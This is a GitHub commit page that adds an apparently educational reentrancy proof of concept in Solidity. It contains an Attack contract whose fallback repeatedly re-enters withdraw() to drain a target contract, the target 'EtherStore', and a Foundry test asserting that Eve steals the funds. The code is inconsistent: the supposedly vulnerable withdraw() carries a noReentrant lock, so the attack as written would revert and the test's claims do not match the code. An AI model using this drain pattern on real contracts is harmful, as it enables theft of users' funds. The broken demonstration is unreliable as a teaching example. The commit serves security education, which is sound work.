Skip to content

Commit

Permalink
reentrancy poc added
Browse files Browse the repository at this point in the history
  • Loading branch information
bluntbrain committed Dec 24, 2024
1 parent ed46ab2 commit 5d4d5de
Show file tree
Hide file tree
Showing 6 changed files with 148 additions and 57 deletions.
19 changes: 0 additions & 19 deletions script/Counter.s.sol

This file was deleted.

14 changes: 0 additions & 14 deletions src/Counter.sol

This file was deleted.

40 changes: 40 additions & 0 deletions src/reentrancy/Attack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./EtherStore.sol";

/// @title Attack Contract for EtherStore
/// @author Ishan Lakhwani
/// @notice This contract demonstrates how to exploit the reentrancy vulnerability
/// @dev This is for educational purposes only

contract Attack {
EtherStore public etherStore;
uint256 public constant AMOUNT = 1 ether;

constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= AMOUNT) {
etherStore.withdraw();
}
}

function attack() external payable {
require(msg.value >= AMOUNT);
etherStore.deposit{value: AMOUNT}();
etherStore.withdraw();
}

function withdrawStolen() external {
(bool success,) = payable(msg.sender).call{value: address(this).balance}("");
require(success, "Failed to withdraw");
}

function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
42 changes: 42 additions & 0 deletions src/reentrancy/EtherStore.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/// @title EtherStore - A vulnerable contract
/// @author Ishan Lakhwani
/// @notice This contract demonstrates a reentrancy vulnerability
/// @dev This contract is intentionally vulnerable for educational purposes

contract EtherStore {
mapping(address => uint256) public balances;
bool internal locked;

event Deposit(address indexed user, uint256 amount);
event Withdrawal(address indexed user, uint256 amount);

modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}

function deposit() public payable {
balances[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}

function withdraw() public noReentrant {
uint256 bal = balances[msg.sender];
require(bal > 0);

(bool sent,) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");

balances[msg.sender] = 0;
emit Withdrawal(msg.sender, bal);
}

function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
24 changes: 0 additions & 24 deletions test/Counter.t.sol

This file was deleted.

66 changes: 66 additions & 0 deletions test/ReentrancyTest.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
// test/ReentrancyTest.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "../src/reentrancy/EtherStore.sol";
import "../src/reentrancy/Attack.sol";

contract ReentrancyTest is Test {
EtherStore public etherStore;
Attack public attack;

address public alice;
address public bob;
address public eve;

function setUp() public {
// Setup accounts
alice = makeAddr("alice");
bob = makeAddr("bob");
eve = makeAddr("eve");

// Deploy contracts
etherStore = new EtherStore();
attack = new Attack(address(etherStore));

// Fund accounts
vm.deal(alice, 1 ether);
vm.deal(bob, 1 ether);
vm.deal(eve, 1 ether);

// Alice and Bob deposit 1 ether each
vm.prank(alice);
etherStore.deposit{value: 1 ether}();

vm.prank(bob);
etherStore.deposit{value: 1 ether}();
}

function testReentrancyAttack() public {
// Initial state
console.log("--- Initial State ---");
console.log("EtherStore balance:", etherStore.getBalance() / 1e18, "ETH");
console.log("Attacker balance:", attack.getBalance() / 1e18, "ETH");
console.log("Eve balance:", eve.balance / 1e18, "ETH");

// Eve performs the attack
vm.prank(eve);
attack.attack{value: 1 ether}();

vm.prank(eve);
attack.withdrawStolen();

// Final state
console.log("\n--- Final State ---");
console.log("EtherStore balance:", etherStore.getBalance() / 1e18, "ETH");
console.log("Attacker balance:", attack.getBalance() / 1e18, "ETH");
console.log("Eve balance:", eve.balance / 1e18, "ETH");

// Assertions
assertEq(etherStore.getBalance(), 0, "EtherStore should be empty");
assertGt(eve.balance, 2 ether, "Eve should have stolen the funds");
}

receive() external payable {}
}

0 comments on commit 5d4d5de

Please sign in to comment.